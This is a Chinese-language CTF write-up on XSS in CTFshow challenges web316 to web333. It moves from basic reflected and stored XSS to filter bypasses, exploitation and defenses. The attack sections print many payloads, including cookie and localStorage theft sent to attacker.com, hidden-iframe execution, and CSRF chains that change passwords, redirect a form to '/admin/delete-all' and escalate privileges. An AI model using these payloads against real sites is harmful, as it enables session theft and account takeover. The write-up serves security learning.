1. XSS基础入门:从反射型到存储型
第一次接触XSS漏洞时,我被这种看似简单实则变化多端的攻击方式深深吸引。记得在CTFshow的web316题目中,一个最基本的反射型XSS就让我栽了跟头。题目页面只有一个简单的搜索框,输入内容后会直接显示在页面上。我下意识地输入了<script>alert(1)</script>,结果页面竟然弹出了警告框!这种最基础的攻击方式,恰恰暴露了很多开发者对用户输入缺乏过滤的常见问题。
反射型XSS的特点是恶意脚本不会存储在服务器上,而是通过URL参数等方式即时触发。在实际测试中,我习惯用下面这个简单的payload来检测是否存在基础XSS漏洞:
<script>alert(document.domain)</script>存储型XSS则更加危险,恶意脚本会被保存在服务器数据库中,影响所有访问相关页面的用户。在web320题目中,我遇到了一个留言板功能,任何用户提交的内容都会显示在公共页面上。通过插入一个窃取cookie的脚本,我成功获取了其他用户的会话信息:
<script>new Image().src="http://attacker.com/steal?cookie="+document.cookie</script>理解这两种基础XSS的区别很关键:
- 反射型需要诱骗用户点击特定链接
- 存储型则自动影响所有访问者
- DOM型则完全在客户端执行,不经过服务器
2. 绕过常见过滤机制
当我在web325题目中再次尝试基础XSS payload时,发现<script>标签被直接过滤掉了。这让我意识到,现实中的XSS攻击远没有这么简单。经过多次尝试,我发现了几种有效的绕过技巧:
大小写混淆是最基础的绕过方式。很多过滤器只检测小写标签,尝试这样的变种:
<ScRiPt>alert(1)</sCriPt>双写绕过针对的是简单替换过滤。如果系统只是删除<script>字符串,可以尝试:
<scr<script>ipt>alert(1)</script>更高级的编码绕过在web327中特别有效。题目过滤了空格和引号,我最终使用HTML实体编码成功执行:
<img/src=x/onerror=alert(1)>在web330中,我遇到了最棘手的场景:所有特殊字符都被转义。经过反复测试,发现可以通过JavaScript伪协议结合DOM操作来绕过:
<a href="javascript:eval('al'+'ert(1)')">click</a>3. 实战中的XSS利用技巧
真正让XSS发挥威力的是如何将其转化为实际攻击。在CTFshow的web328中,我首次尝试了窃取管理员cookie的攻击链。首先构造一个特殊的payload:
<script> fetch('http://attacker.com/steal', { method: 'POST', body: document.cookie }) </script>然后将这个payload通过留言板提交,等待管理员查看。为了增加成功率,我还添加了隐藏iframe来静默执行:
<iframe src="javascript:document.write('<script>fetch(...)</script>')" style="display:none">在web331中,题目要求获取管理员本地存储的数据。这需要更精细的payload设计:
<script> let data = ''; for(let i=0; i<localStorage.length; i++){ let key = localStorage.key(i); data += key+':'+localStorage.getItem(key)+'\n'; } new Image().src='http://attacker.com/steal?data='+encodeURIComponent(data); </script>4. XSS与其他漏洞的组合攻击
web332-333系列题目展示了XSS如何与其他漏洞形成致命组合。在web332中,我发现了一个CSRF漏洞,结合之前发现的XSS,可以构造出完整的攻击链:
<script> function changePassword() { fetch('/change-password', { method: 'POST', body: 'newpass=attacker123' }); } setTimeout(changePassword, 3000); </script>web333则引入了逻辑漏洞,通过XSS绕过前端验证:
<script> document.forms[0].onsubmit = function() { this.action = '/admin/delete-all'; return true; } </script>最复杂的组合攻击出现在web329中,需要串联XSS、CSRF和权限提升漏洞:
<script> // 第一阶段:获取敏感信息 fetch('/admin/profile') .then(r => r.text()) .then(data => { // 第二阶段:构造CSRF攻击 let form = document.createElement('form'); form.method = 'POST'; form.action = '/admin/privilege-escalation'; // ...添加表单字段 document.body.appendChild(form); form.submit(); }); </script>5. 防御措施与实战建议
在解决这些题目的过程中,我也总结出了一些有效的防御方法。对于开发者来说,最重要的是实施输入过滤和输出编码。例如,在Node.js中可以使用以下方法:
const sanitizeHtml = require('sanitize-html'); const clean = sanitizeHtml(userInput, { allowedTags: [], allowedAttributes: {} });对于现代前端框架,React等库已经内置了XSS防护,但开发者仍需注意dangerouslySetInnerHTML等危险API的使用。
在CTF比赛中,我常用的XSS测试流程是:
- 先尝试最基本的payload测试过滤级别
- 查看页面源码分析过滤机制
- 逐步尝试各种编码和绕过技巧
- 最后设计完整的攻击链
记得在web326中,我花了整整两小时才找到正确的绕过方式。那次经历让我明白,XSS攻防是一场耐心的较量,需要不断尝试和调整策略。